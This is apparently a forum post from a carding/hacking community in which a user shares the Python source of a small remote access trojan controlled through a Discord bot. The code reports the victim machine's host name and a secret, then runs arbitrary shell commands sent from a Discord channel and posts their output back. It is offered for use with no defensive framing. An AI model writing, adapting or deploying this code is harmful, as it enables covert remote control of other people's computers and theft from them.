elfhack
0
Rep
Rep
3
Likes
Likes
Junior Carder

- Posts
- 14
- Threads
- 4
- Joined
- Jun 2020
So here is a simple discord bot controlled rat i wrote in 25 lines of code. I hope you enjoy it and use it well.
here is the code.
here is the code.
Python:
from discord.ext import commands
import platform
import discord
import random
import os
TOKEN = ''#your discord bot token goes in here
secret = random.randint(1000000,999999999);secret = str(secret)
bot = commands.Bot(command_prefix='!')
@bot.event
async def on_ready():
'''this is nothing'''
@bot.command()
async def show(ctx):
name=platform.node()
print(secret)
await ctx.send(f"name : {name} secret : {secret}")
@bot.command()
async def execute(ctx):
command = ctx.message.content;command = str(command)
splitter = command.split(" ")
secretCheck = splitter[1]
if str(secretCheck) == str(secret):
execute = os.popen(splitter[2]).read()
await ctx.send(f"command output > {execute}")
bot.run(TOKEN)